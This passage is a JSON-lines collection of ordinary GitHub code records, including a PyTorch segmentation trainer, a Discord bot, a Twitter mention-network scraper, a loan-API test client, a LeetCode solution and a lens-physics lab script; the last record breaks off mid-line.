+{"seq_id":"13619693919","text":"import os\nimport sys\nimport time\nimport numpy as np\nimport argparse\nimport copy\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.utils.data import DataLoader\nfrom torch.utils import data\nfrom torchvision.models.segmentation import fcn_resnet101, fcn_resnet50\nfrom torchvision import transforms\nimport torchvision.transforms.functional as TF\nimport random\n\nimport skimage.io as io\n\nimport albumentations as A\nfrom albumentations.pytorch import ToTensorV2\n\nimport dataset\n\n#python3 main.py --dataset ../vaihingen_1000/ --epochs 10 --batch_size 8 --num_workers 4 --n_classes 6 --lr 1e-4\n\nparser = argparse.ArgumentParser(description='PyTorch FCN')\nparser.add_argument('--dataset', type=str, default='vaihingen', help=\"Name of the dataset\")\nparser.add_argument('--network', type=str, default='resnet101', help=\"Name of the network (resnet101|resnet50)\")\nparser.add_argument('--exp_name', type=str, default='fcn-resnet101', help=\"Name of the experiment\")\nparser.add_argument('--fold', type=int, default=None, help=\"Fold number\")\nparser.add_argument('--epochs', type=int, default=10, help=\"Number of epochs\")\nparser.add_argument('--iterations', type=int, default=None, help=\"Number of iterations\")\nparser.add_argument('--batch_size', type=int, default=8, help=\"Batch size\")\nparser.add_argument('--num_workers', type=int, default=4, help=\"number of workers\")\nparser.add_argument('--n_classes', type=int, default=6, help=\"number of classes\")\nparser.add_argument('--lr', type=float, default=1e-4, help=\"Learning rate\")\nparser.add_argument('--weight_decay', type=float, default=5e-4, help=\"L2 penalty\")\nparser.add_argument('--momentum', type=float, default=0.9, help=\"Momentum\")\nparser.add_argument('--new_data_size', type=int, default=100, help=\"Number of new data inputs\")\nparser.add_argument('--resume', type=str, default='False', help=\"Resume training\")\nparser.add_argument('--resume_epoch', type=int, default=0, help=\"Starting epoch for resume training\")\nparser.add_argument('--resume_iou', type=float, default=0, help=\"Starting iou for resume training\")\nparser.add_argument('--resume_model', type=str, default='models/vaihingen_plus0/vaihingen_plus0_best.pth', help=\"Model for resume training\")\nparser.add_argument('--data_augmentation', type=str, default='False', help=\"Use or not data augmentation (i.e. data warping, not including ChessMix)\")\n\nargs = parser.parse_args()\n\ndef check_mkdir(dir_name):\n    if not os.path.exists(dir_name):\n        os.mkdir(dir_name)\n\n# Computing mean Intersection over Union (mIoU).\ndef evaluate(prds, labs):\n    if 'grss' in args.dataset:\n        int_sum = np.zeros(args.n_classes, dtype=np.float32)\n        uni_sum = np.zeros(args.n_classes, dtype=np.float32)\n        \n        for prd, lab in zip(prds, labs):\n            prd = prd.ravel()\n            lab = lab.ravel()\n            new_prd = prd[lab != -1]\n            new_lab = lab[lab != -1]\n            prd = new_prd\n            lab = new_lab\n            for c in range(args.n_classes):\n                union = np.sum(np.logical_or(lab == c, prd == c))\n                #union = np.sum(lab.ravel() == c)\n                if union > 0:\n                    uni_sum[c] += union\n                    \n                    intersection = np.sum(np.logical_and(lab == c, prd == c))\n                    int_sum[c] += intersection\n\n    elif 'coffee' in args.dataset:\n        int_sum = np.zeros(1, dtype=np.float32)\n        uni_sum = np.zeros(1, dtype=np.float32)\n        \n        for prd, lab in zip(prds, labs):\n            union = np.sum(np.logical_or(lab.ravel() == 1, prd.ravel() == 1))\n            if union > 0:\n                uni_sum[0] += union\n                \n                intersection = np.sum(np.logical_and(lab.ravel() == 1, prd.ravel() == 1))\n                int_sum[0] += intersection\n\n    else:\n        int_sum = np.zeros(args.n_classes, dtype=np.float32)\n        uni_sum = np.zeros(args.n_classes, dtype=np.float32)\n        \n        for prd, lab in zip(prds, labs):\n            \n            for c in range(args.n_classes):\n                union = np.sum(np.logical_or(lab.ravel() == c, prd.ravel() == c))\n                #union = np.sum(lab.ravel() == c)\n                if union > 0:\n                    uni_sum[c] += union\n                    \n                    intersection = np.sum(np.logical_and(lab.ravel() == c, prd.ravel() == c))\n                    int_sum[c] += intersection\n        \n    return int_sum, uni_sum\n\n\ndef train(train_loader, net, criterion, optimizer, epoch, ITERATIONS):\n    tic = time.time()\n    \n    # Setting network for training mode.\n    net.train()\n\n    # Lists for losses and metrics.\n    train_loss = []\n\n    int_all = np.asarray(0, dtype=np.float32)\n    uni_all = np.asarray(0, dtype=np.float32)\n\n    # Iterating over batches.\n    for i, batch_data in enumerate(train_loader):\n        ITERATIONS += 1\n        if args.iterations is not None and ITERATIONS > args.iterations:\n            break\n        #print('Train: epoch {}, iteration {}'.format(epoch, i))\n        # Obtaining images and labels for batch.\n        inps, labs, img_name = batch_data\n        # Casting to cuda variables.\n        inps = inps.to(device)\n        labs = labs.to(device)\n\n        # Clears the gradients of optimizer.\n        optimizer.zero_grad()\n\n        # Forwarding through network.\n        outs = net(inps)\n        outs = outs['out']\n        # Computing loss.\n        loss = criterion(outs.view(outs.size(0), outs.size(1), -1), labs.view(labs.size(0), -1))\n\n        # Computing backpropagation.\n        loss.backward()\n        optimizer.step()\n\n        # Obtaining predictions.\n        prds = outs.data.max(1)[1].squeeze_(1).squeeze(0).cpu().numpy()\n        \n        # Appending metrics for epoch error calculation.\n        int_sum, uni_sum = evaluate([prds], [labs.detach().squeeze(0).cpu().numpy()])\n\n        int_all = int_all + int_sum\n        uni_all = uni_all + uni_sum\n\n        # Updating loss meter.\n        train_loss.append(loss.data.item())\n\n    toc = time.time()\n    \n    # Transforming list into numpy array.\n    train_loss = np.asarray(train_loss)\n    \n    # Computing error metrics for whole epoch.\n    iou = 0\n    iou = np.divide(int_all, uni_all)\n    # print(iou)\n\n    # Printing training epoch loss and metrics.\n    print('-------------------------------------------------------------------')\n    print('[epoch %d], [iterations %d], [train loss %.4f +/- %.4f], [miou %.4f], [time %.4f]' % (\n        epoch, ITERATIONS, train_loss.mean(), train_loss.std(), iou.mean(), (toc - tic)))\n    print('-------------------------------------------------------------------')\n    return ITERATIONS\n\n\ndef validate(val_loader, net, criterion, epoch):\n\n    tic = time.time()\n    \n    # Setting network for evaluation mode.\n    net.eval()\n\n    # Lists for losses and metrics.\n    val_loss = []\n\n    int_all = np.asarray(0, dtype=np.float32)\n    uni_all = np.asarray(0, dtype=np.float32)\n\n    # Iterating over batches.\n    for i, batch_data in enumerate(val_loader):\n        #print('Validation: epoch {}, iteration {}'.format(epoch, i))\n        # Obtaining images and labels for batch.\n        inps, labs, img_name = batch_data\n\n        # Casting to cuda variables.\n        inps = inps.to(device)\n        labs = labs.to(device)\n\n        # Forwarding through network.\n        outs = net(inps)\n        outs = outs['out']\n        # Computing loss.\n        loss = criterion(outs.view(outs.size(0), outs.size(1), -1), labs.view(labs.size(0), -1))\n\n        # Obtaining predictions.\n        prds = outs.data.max(1)[1].squeeze_(1).squeeze(0).cpu().numpy()\n\n        # Appending metrics for epoch error calculation.\n        int_sum, uni_sum = evaluate([prds], [labs.detach().squeeze(0).cpu().numpy()])\n\n        int_all = int_all + int_sum\n        uni_all = uni_all + uni_sum\n\n        # Updating loss meter.\n        val_loss.append(loss.data.item())\n\n    toc = time.time()\n    \n    # Transforming list into numpy array.\n    val_loss = np.asarray(val_loss)\n    \n    # Computing error metrics for whole epoch.\n    iou = 0\n    iou = np.divide(int_all, uni_all)\n    # print(iou)\n\n    # Printing test epoch loss and metrics.\n    print('-------------------------------------------------------------------')\n    print('[epoch %d], [val loss %.4f +/- %.4f], [miou %.4f], [time %.4f]' % (\n        epoch, val_loss.mean(), val_loss.std(), iou.mean(), (toc - tic)))\n    print('-------------------------------------------------------------------')\n    return iou.mean()\n\n\nif torch.cuda.is_available():\n    device = torch.device('cuda')\nelse:\n    device = torch.device('cpu')\n\nprint(device)\nif args.resume == 'False':\n    if args.network == 'resnet101':\n        model = fcn_resnet101(pretrained=True)\n        model.classifier[4] = nn.Conv2d(512, args.n_classes, kernel_size=(1,1), stride=(1,1))\n        model.aux_classifier[4] = nn.Conv2d(256, args.n_classes, kernel_size=(1,1), stride=(1,1))\n    else:\n        model = fcn_resnet50(pretrained=False)\n        pth = torch.load(\"fcn_resnet50_coco-1167a1af.pth\")\n        for key in [\"aux_classifier.0.weight\", \"aux_classifier.1.weight\", \"aux_classifier.1.bias\", \"aux_classifier.1.running_mean\", \"aux_classifier.1.running_var\", \"aux_classifier.1.num_batches_tracked\", \"aux_classifier.4.weight\", \"aux_classifier.4.bias\"]:\n            del pth[key]\n        model.load_state_dict(pth)\n\n        model.classifier[4] = nn.Conv2d(512, args.n_classes, kernel_size=(1,1), stride=(1,1))\nelse:\n    model = torch.load(args.resume_model)\n\nmodel = model.to(device)\n\nif args.data_augmentation == 'True':\n    A_transform = A.Compose([\n        A.VerticalFlip(p=0.5),\n        A.HorizontalFlip(p=0.5),\n        A.RandomRotate90(p=0.5),\n        A.Transpose(p=0.5),\n        A.OneOf([\n            #A.ElasticTransform(p=0.5, alpha=120, sigma=120 * 0.05, alpha_affine=120 * 0.03),\n            A.GridDistortion(p=0.8),\n            A.Perspective(p=0.8),\n            #A.OpticalDistortion(distort_limit=1, shift_limit=0.5, p=1),\n        ], p=0.5)])\nelse:\n    A_transform = None\n\ntransform = transforms.Compose([\n    transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n    ])\n\ntrain_set = dataset.ListDataset(mode='train', dataset=args.dataset, fold=args.fold, new_data_size=args.new_data_size, transform=transform, A_transform=A_transform)\nval_set = dataset.ListDataset(mode='val', dataset=args.dataset, fold=args.fold, new_data_size=0, transform=transform)\n\nprint('Train size: ', len(train_set))\nprint('Val size: ', len(val_set))\n\ntrain_loader = DataLoader(train_set,\n                          batch_size=args.batch_size,\n                          num_workers=args.num_workers,\n                          shuffle=True)\nval_loader = DataLoader(val_set,\n                        batch_size=1,\n                        num_workers=args.num_workers,\n                        shuffle=False)\n\ncriterion = nn.CrossEntropyLoss(ignore_index = -1).cuda()\noptimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=args.weight_decay, betas=(args.momentum, 0.999))\n\n# Iterating over epochs.\ncheck_mkdir('models/'+args.exp_name+'/')\nbest_model = copy.deepcopy(model)\n\nif args.resume == 'False':\n    best_iou = 0\n    best_epoch = 0\n    starting_epoch = 1\nelse:\n    best_iou = args.resume_iou\n    best_epoch = args.resume_epoch\n    starting_epoch = args.resume_epoch+1\n    \nepoch = starting_epoch\nITERATIONS = 0\nif args.iterations is None:\n    for epoch in range(starting_epoch, args.epochs + 1):\n        # Training function.\n        train(train_loader, model, criterion, optimizer, epoch, ITERATIONS)\n\n        # Computing test loss and metrics.\n        iou = validate(val_loader, model, criterion, epoch)\n        if iou > best_iou:\n            best_model = copy.deepcopy(model)\n            best_iou = iou\n            best_epoch = epoch\n            print('saving new best model (iou {})...'.format(iou))\n            torch.save(best_model, 'models/'+args.exp_name+'/'+args.exp_name+'_best.pth')\n        else:\n            print('Previous best iou: {} at epoch {}'.format(best_iou, best_epoch))\nelse:\n    while ITERATIONS < args.iterations:\n        # Training function.\n        ITERATIONS = train(train_loader, model, criterion, optimizer, epoch, ITERATIONS)\n\n        # Computing test loss and metrics.\n        iou = validate(val_loader, model, criterion, epoch)\n        if iou > best_iou:\n            best_model = copy.deepcopy(model)\n            best_iou = iou\n            best_epoch = epoch\n            print('saving new best model (iou {})...'.format(iou))\n            torch.save(best_model, 'models/'+args.exp_name+'/'+args.exp_name+'_best.pth')\n        else:\n            print('Previous best iou: {} at epoch {}'.format(best_iou, best_epoch))\n        epoch += 1\n\n\ncheck_mkdir('val_outputs/'+args.exp_name+'/')\nmodel.eval()\n# Iterating over batches.\nfor i, batch_data in enumerate(val_loader):\n\n    # Obtaining images and labels for batch.\n    inps, labs, img_name = batch_data\n\n    # Casting to cuda variables.\n    inps = inps.to(device)\n    labs = labs.to(device)\n\n    # Forwarding through network.\n    outs = model(inps)\n    outs = outs['out']\n    # Obtaining predictions.\n    prds = outs.data.max(1)[1].squeeze_(1).squeeze(0).cpu().numpy()\n    label = labs.detach().squeeze(0).cpu().numpy()\n    h, w = prds.shape\n    if 'vaihingen' in args.dataset:\n        new = np.zeros((h, w, 3), dtype=np.uint8)\n        for x in range(h):\n            for y in range(w):\n                if prds[x][y] == 0:\n                    new[x][y] = [255,255,255]\n                    \n                elif prds[x][y] == 1:\n                    new[x][y] = [0,0,255]\n                    \n                elif prds[x][y] == 2:\n                    new[x][y] = [0,255,255]\n                    \n                elif prds[x][y] == 3:\n                    new[x][y] = [0,255,0]\n                    \n                elif prds[x][y] == 4:\n                    new[x][y] = [255,255,0]\n                    \n                elif prds[x][y] == 5:\n                    new[x][y] = [255,0,0]\n                    \n                else:\n                    sys.exit('Invalid prediction')\n        io.imsave('val_outputs/'+args.exp_name+'/'+img_name[0].replace('.tif', '.png'), new)\n    \n    elif 'grss' in args.dataset:\n        new = np.zeros((h, w, 3), dtype=np.uint8)\n        for i in range(h):\n            for j in range(w):\n                if label[i][j] == -1:\n                    new[i][j] = [0,0,0]\n                \n                elif prds[i][j] == 0:\n                    new[i][j] = [255,0,255]\n                    \n                elif prds[i][j] == 1:\n                    new[i][j] = [0,255,0]\n                    \n                elif prds[i][j] == 2:\n                    new[i][j] = [255,0,0]\n                    \n                elif prds[i][j] == 3:\n                    new[i][j] = [0,255,255]\n                    \n                elif prds[i][j] == 4:\n                    new[i][j] = [160,32,240]\n                    \n                elif prds[i][j] == 5:\n                    new[i][j] = [46,139,87]\n\n                elif prds[i][j] == 6:\n                    new[i][j] = [255,255,0]\n                    \n                else:\n                    sys.exit('Invalid prediction')\n        io.imsave('val_outputs/'+args.exp_name+'/'+img_name[0].replace('.ppm', '.png'), new)\n\n    elif 'coffee' in args.dataset:\n        new = np.zeros((h, w, 3), dtype=np.uint8)\n        for i in range(h):\n            for j in range(w):\n                if prds[i][j] == 0:\n                    new[i][j] = [0,0,0]\n                    \n                elif prds[i][j] == 1:\n                    new[i][j] = [255,255,255]\n                    \n                else:\n                    sys.exit('Invalid prediction')\n        io.imsave('val_outputs/'+args.exp_name+'/'+img_name[0].replace('.tif', '.png'), new)\n","repo_name":"matheusbarrosp/chessmix","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15816,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"4018255318","text":"import discord\nimport random\nimport json\nimport os\nfrom discord.ext import commands\n\nintents = discord.Intents.all()\n\n\nclient = commands.Bot(command_prefix=lambda x, y: \"HELLO\", intents=intents)\n\n\n@client.event\nasync def on_ready():\n    print(\"KawaiiFont is ready.\")\n    await client.change_presence(status=discord.Status.online, activity=discord.Game(\".your text\"))\n\n\n@client.command()\n@commands.has_permissions(administrator=True)\nasync def reload(ctx):\n    try:\n        for ext in os.listdir(\"extensions\"):\n            if ext.endswith(\".py\"):\n                try:\n                    client.unload_extension(f\"extensions.{ext[:-3]}\")\n                except:\n                    pass\n                client.load_extension(f\"extensions.{ext[:-3]}\")\n        await ctx.send(f\"Reloaded all extensions successfully.\")\n    except Exception as e:\n        await ctx.send(e)\n\n\ntry:\n    for ext in os.listdir(\"extensions\"):\n        if ext.endswith(\".py\"):\n            client.load_extension(f\"extensions.{ext[:-3]}\")\nexcept Exception as e:\n    print(e)\n\nclient.run(\"\")  # id here\n","repo_name":"Tucan444/KawaiiFont","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8376060778","text":"import _plotly_utils.basevalidators\n\n\nclass SequentialminusValidator(_plotly_utils.basevalidators.ColorscaleValidator):\n    def __init__(\n        self, plotly_name=\"sequentialminus\", parent_name=\"layout.colorscale\", **kwargs\n    ):\n        super(SequentialminusValidator, self).__init__(\n            plotly_name=plotly_name,\n            parent_name=parent_name,\n            edit_type=kwargs.pop(\"edit_type\", \"calc\"),\n            **kwargs,\n        )\n","repo_name":"plotly/plotly.py","sub_path":"packages/python/plotly/plotly/validators/layout/colorscale/_sequentialminus.py","file_name":"_sequentialminus.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":14438,"dataset":"github-code","pt":"3"}
+{"seq_id":"22472002407","text":"# flake8: NOQA\n\"\"\"\nvisual\n-------------\n\nHandle visual properties for meshes, including color and texture\n\"\"\"\n\nfrom .color import (ColorVisuals,\n                    random_color,\n                    to_rgba,\n                    DEFAULT_COLOR,\n                    interpolate,\n                    uv_to_color,\n                    uv_to_interpolated_color,\n                    linear_color_map)\n\nfrom .texture import TextureVisuals\nfrom .objects import create_visual, concatenate\n\nfrom . import color\nfrom . import texture\nfrom . import objects\nfrom . import material\nfrom .. import resolvers\n\n\n# explicitly list imports in __all__\n# as otherwise flake8 gets mad\n__all__ = ['color',\n           'texture',\n           'resolvers',\n           'TextureVisuals',\n           'ColorVisuals',\n           'random_color',\n           'to_rgba',\n           'create_visual',\n           'DEFAULT_COLOR',\n           'interpolate',\n           'linear_color_map',\n           'uv_to_color',\n           'uv_to_interpolated_color']\n","repo_name":"mikedh/trimesh","sub_path":"trimesh/visual/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":2558,"dataset":"github-code","pt":"3"}
+{"seq_id":"22845030086","text":"from __future__ import absolute_import, print_function\n\nimport tweepy\nimport sys\nimport codecs\nimport tauth\n\napi = tauth.get_api()\n\nowner = \"HlidacStatu\"\nslug = \"cz-politici\"\napi.list_members(owner, slug)\n\nnetwork = {}\nuniqueEntities = dict()\ntargets = []\n\n# Get all politics from list\nprint(\"Requesting list of politics\")\nfor member in tweepy.Cursor(api.list_members, 'HlidacStatu', 'cz-politici').items():\n    targets.append(member.screen_name)\n    network[member.screen_name] = []\n    if member.screen_name not in uniqueEntities:\n        uniqueEntities[member.screen_name] = len(uniqueEntities.items())\n\nprint(\"Requesting list of politics\")\n# Contruct network of mentions\nfor target in targets:\n    print(str(uniqueEntities[target]) + \" - Requesting data for the user: \" + target)\n    try:\n        for status in tweepy.Cursor(api.user_timeline, screen_name=target, tweet_mode=\"extended\", include_rts = False, count=100).items():\n            if len(status.entities['user_mentions']) > 0:\n                for mention in status.entities['user_mentions']:\n                    network[target].append(mention['screen_name'])\n                    if mention['screen_name'] not in uniqueEntities:\n                        uniqueEntities[mention['screen_name']] = len(uniqueEntities.items())\n    except tweepy.TweepError as e:\n        print(\"Error during processing tweets of \" + target)\n        continue\n\n\nprint(\"Savign to file\")\n# Export network to file\nsave_file = open('Data/nodes.csv', 'a', encoding='utf-8-sig', newline='')\nfor k, v in network.items():\n    line = str(uniqueEntities[k]) + \";\" + k + \"\\n\"\n    save_file.write(line)\nsave_file.close()\n\nsave_file = open('Data/edges.csv', 'a', encoding='utf-8-sig', newline='')\nfor k, v in network.items():\n    exported = []\n    for neighbour in v:\n        if neighbour not in exported and neighbour in network:\n            line = str(uniqueEntities[k]) + \";\" + str(uniqueEntities[neighbour]) + \";\" + str(v.count(neighbour)) + \"\\n\"\n            exported.append(exported)\n            save_file.write(line)\n\nsave_file.close()\n","repo_name":"Forcoa-NET/TweetDataAnalysis","sub_path":"src/cz_politics_mention_network.py","file_name":"cz_politics_mention_network.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73728705680","text":"import cv2\nimport pyautogui\npyautogui.FAILSAFE = False\npyautogui.PAUSE = 1\n\nfrom screeninfo import get_monitors\nimport win32gui\nimport win32con\nfrom tkinter import *\nimport time\n\nimport frameToPoint\n\nfrom mcpi.minecraft import Minecraft\n\n\n\ndef moveToTarget(c, circle, x_begin, y_begin, x_end, y_end, t, n):\n    x = (x_end - x_begin) / n\n    y = (y_end - y_begin) / n\n    for i in range(n):\n        c.move(circle, x, y)  # move方法，把circle往（x，y）的方向移动\n        c.update()  # 刷新屏幕\n        time.sleep(t)  # 设置间隔时间，每0.03秒执行一次循环\n\n\n\ndef func(cap, util):\n    screen_width, screen_height = get_monitors()[0].width, get_monitors()[0].height\n\n    # 创建透明窗口\n    root = Tk()\n    root.overrideredirect(True)\n    root.wm_attributes('-transparentcolor', 'black')\n    root.attributes('-topmost', True)\n    root.geometry(f\"{screen_width}x{screen_height}+0+0\")\n    # 设置窗口为无焦点状态\n    win32gui.SetWindowLong(root.winfo_id(), win32con.GWL_EXSTYLE,\n                           win32gui.GetWindowLong(root.winfo_id(), win32con.GWL_EXSTYLE) | win32con.WS_EX_NOACTIVATE)\n\n    screen_width, screen_height = get_monitors()[0].width, get_monitors()[0].height\n\n    # print(screen_width, screen_height)\n\n    c = Canvas(root, width=screen_width, height=screen_height, highlightthickness=0, bg='black')#绘制一个画布\n    c.pack()\n\n\n    # # 在画布上显示图像\n    begin1, begin2 = 200, 200\n    circle = c.create_oval(begin1, begin2, 65, 62, fill='red')#绘制一个圆\n\n    # 连接到Minecraft游戏\n    mc = Minecraft.create()\n    #获取当前玩家的水平角度信息\n    rotation = mc.player.getRotation()\n\n    while True:\n        # target1 = random.randint(0, screen_width)\n        # target2 = random.randint(0, screen_height)\n        ret, frame = cap.read()\n        output = util.frameToPoint(frame)\n        if ret == False or isinstance(output, type(None)):\n            continue\n        target1, target2 = output\n        # target1 = 55 * target1 + 1085\n        # target2 = -55 * target2 + 148\n        # target1 += 960\n        print(target1, target2)\n        moveToTarget(c, circle, begin1, begin2, target1, target2, 0.001, 5)\n        begin1, begin2  = target1, target2\n\n        #移动玩家水平视角\n        if target1 > 910 and target1 < 1010:\n            continue\n        elif target1 < 910:\n            rotation = (rotation + 360 - 10) % 360\n        else:\n            rotation = (rotation + 360) % 360\n        mc.player.setRotation(rotation)\n\n\n\n\n\nif __name__ == \"__main__\":\n    # 连接到Minecraft游戏\n    mc = Minecraft.create()\n    #获取当前玩家的水平角度信息\n    rotation = mc.player.getRotation()\n\n    while True:\n        x = 1100\n        # #首先使用pyautogui获取当前鼠标的位置\n        # x, y = pyautogui.position()\n        #然后根据当前鼠标的位置，判断视角的转变\n        if x > 910 and x < 1010:\n            continue\n        elif x < 910:\n            rotation = (rotation + 360 - 10) % 360\n        else:\n            rotation = (rotation + 10) % 360\n        mc.player.setRotation(rotation)\n        time.sleep(1)\n        print(\"haha\")\n\n\n\n","repo_name":"yucai233/gaze","sub_path":"AFF-Net-main/AFF-Net-main/combine-Net/testInMyworld.py","file_name":"testInMyworld.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40768413929","text":"\"\"\"\nmember模块\n\"\"\"\n\n\ndef register(url, baserequests, data):\n    \"\"\"\n    注册接口\n    :param url: 环境信息\n    :param baserequests: BaseRequests的实例\n    :param data: 注册的测试数据\n    :return: 响应信息\n    \"\"\"\n    url = url + \"futureloan/mvc/api/member/register\"\n    r = baserequests.post(url, data=data)\n    return r\n\n\ndef login(url, baserequests, data):\n    \"\"\"\n    登录接口\n    :param url: 环境信息\n    :param baserequests: BaseRequests的实例\n    :param data: 登录的测试数据\n    :return: 响应信息\n    \"\"\"\n    url = url + \"futureloan/mvc/api/member/login\"\n    r = baserequests.post(url, data=data)\n    return r\n\n\ndef list(url, baserequests):\n    \"\"\"\n    获取用户列表接口\n    :param url: 环境信息\n    :param baserequests: BaseRequests的实例\n    :return: 响应信息\n    \"\"\"\n    url = url + \"futureloan/mvc/api/member/list\"\n    r = baserequests.post(url)\n    return r\n\n\nif __name__ == '__main__':\n    from ZongHe.caw.BaseRequests import BaseRequests\n\n    b = BaseRequests()\n    data = {\"mobilephone\": '17792930289', \"pwd\": \"123456\"}\n    r = register(\"http://jy001:8081/\", b, data)\n    print(r.text)\n    r = list(\"http://jy001:8081/\", b)\n    print(r.text)\n","repo_name":"zhang8726/ApiAutoTest","sub_path":"ZongHe/baw/Member.py","file_name":"Member.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28398836456","text":"import click\nimport dotenv\nload_dotenv()\n\nimport sys, os\nsys.path.append(os.environ[\"FUNCTIONS_DIR\"])\nfrom functions.scales import tonic_to_scale\n\n@click.command()\ndef cli():\n    click.echo('Welcome to PyMusiC# ! Use this tool to learn more about music theory!\\nOr, like me, who can\\'t figure out chords from notes.')\n\n@click.command()\n@click.option('-s', default='C')\ndef return_scale(tonic):\n    click.echo(f'Returning major scale from {tonic}...')\n    tonic_to_scale(tonic=tonic, scale='major')\n","repo_name":"adrijan-parmakovski/music_python","sub_path":"theory/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9282994201","text":"from datetime import datetime\r\nfrom users import User\r\nfrom users import Athelete\r\nfrom users import connect_db\r\n\r\ndef find():\r\n    session = connect_db()\r\n\r\n    find_id = input(\"Ввведите идентификатор пользователя: \")\r\n    user = session.query(User).filter(User.id == find_id).first()\r\n    \r\n    atheletes = session.query(Athelete).filter(Athelete.birthdate).all()\r\n    atheletes_height = session.query(Athelete).filter(Athelete.height).all()\r\n\r\n\r\n    session.close()\r\n\r\n    if user:\r\n        candidate1 = atheletes[0]\r\n        candidate2 = atheletes[1]\r\n\r\n        for athelete in atheletes:\r\n            \r\n            date1 = datetime.strptime(athelete.birthdate, '%Y-%m-%d')\r\n            date2 = datetime.strptime(user.birthdate, '%Y-%m-%d')\r\n            date3 = datetime.strptime(candidate1.birthdate, '%Y-%m-%d')\r\n            diff_athelete = abs(date1-date2).days\r\n            diff_candidate1 = abs(date3-date2).days\r\n            if diff_athelete < diff_candidate1: \r\n                candidate2 = candidate1\r\n                candidate1 = athelete\r\n                            \r\n        print (\"Первый атлет-\" + candidate1.name, candidate1.birthdate, \"\\nВторой атлет-\" + candidate2.name, candidate2.birthdate)    \r\n\r\n        candidate_height = atheletes_height[0]\r\n        for ath_height in atheletes_height:\r\n            diff_athelete_height = abs(ath_height.height-user.height)\r\n            diff_candidate_height = abs(candidate_height.height-user.height)\r\n            if diff_athelete_height < diff_candidate_height:\r\n                candidate_height = ath_height\r\n        print (candidate_height.name, candidate_height.height)\r\n\r\n         \r\n    else:\r\n        print (\"Пользователя с таким идентификатором нет\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    find()","repo_name":"Zhupar/hw_b4_adamova","sub_path":"find_athelete.py","file_name":"find_athelete.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7495685646","text":"from typing import List\n\n\nclass Solution:\n    def subArrayRanges(self, nums: List[int]) -> int:\n        total = 0\n\n        for i in range(len(nums)):\n            smaller = larger = nums[i]\n\n            for j in range(i + 1, len(nums)):\n                smaller = min(smaller, nums[j])\n                larger = max(larger, nums[j])\n\n                total += larger - smaller\n\n        return total\n\n\n\"\"\"\nExplanation:\n\nIterate over all possible start points i of a subarray. For each i, then iterates over all possible end points j of the subarray that starts at i + 1. For each pair of indices (i, j), calculate the smallest and largest elements of the subarray, smaller and larger, respectively. Then add the difference between larger and smaller to the running total. Once done iterating over all subarray ranges, return the total count of subarrays whose elements are in non-descending order.\n\nNotes:\n\nTime complexity: O(n ^ 2), as iterate over the input array at each index in the array.\n\nSpace complexity: O(1), as we use constant extra space to store the variables total, smaller, and larger.\n\"\"\"\n\n# Test 1: Random positive values\nnums = [3, 1, 2, 4]\nsubarray_sum = Solution().subArrayRanges(nums)\nexpected = 13\nassert subarray_sum == expected, f\"Expected {expected} but got {subarray_sum}\"\n\n# Test 2: Random negative values\nnums = [-2, -3, -4, -1, -2, -1, -5, -3]\nsubarray_sum = Solution().subArrayRanges(nums)\nexpected = 84\nassert subarray_sum == expected, f\"Expected {expected} but got {subarray_sum}\"\n\n# Test 3: Same values\nnums = [5] * 5\nsubarray_sum = Solution().subArrayRanges(nums)\nexpected = 0\nassert subarray_sum == expected, f\"Expected {expected} but got {subarray_sum}\"\n\n# Test 4: Single value\nnums = [1]\nsubarray_sum = Solution().subArrayRanges(nums)\nexpected = 0\nassert subarray_sum == expected, f\"Expected {expected} but got {subarray_sum}\"\n","repo_name":"garofalof/algopractice_python","sub_path":"medium/2104_Sum_of_Subarray_Ranges.py","file_name":"2104_Sum_of_Subarray_Ranges.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8266548112","text":"import numpy as np\nfrom scipy.stats import sem\nfrom uncertainties import ufloat\nimport uncertainties.unumpy as unp\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\nimport scipy.constants as const\nfrom uncertainties.unumpy import (nominal_values as noms, std_devs as stds)\n\n\ndef Brennweite_Bessel(e, d):\n    return (e**2- d**2) / (4 * e)\n\ndef function(x, a, b):\n    return a * x + b\n\ndef Brennweite(b, g):\n    return 1 / (1/g + 1/b)\n\ndef Abbildungssgesetz(b, g):\n    return b / g\n\nG = ufloat(2.9, 0.05) * 10**-2 # Gegenstandsgröße\n# Ablesefehler wird angegeben mit 0.05cm\nerr = np.ones(10) * 0.05 * 10**(-2)\nerr_5 = np.ones(5) * 0.05 * 10**(-2)\nerr_6 = np.ones(6) * 0.05 * 10**(-2)\n\n\n# Messung 1 Brennweite bekannt 100mmAngaben in cm\nprint(len(np.linspace(15, 60, 10)), np.ones(10))\n\ng_1 = unp.uarray(np.linspace(15, 60, 10) * 10**(-2), err) # Gegenstandsweite erste Messung cm in m\nb_1 = unp.uarray(np.array([27.8, 18.4, 15.3, 13.85, 13.1, 12.5, 12.05, 11.7, 11.4, 11.25]) * 10**(-2), err) # Bildweite erste Messung cm in m\nB_1 = unp.uarray(np.array([0, 2.8, 1.9, 1.45, 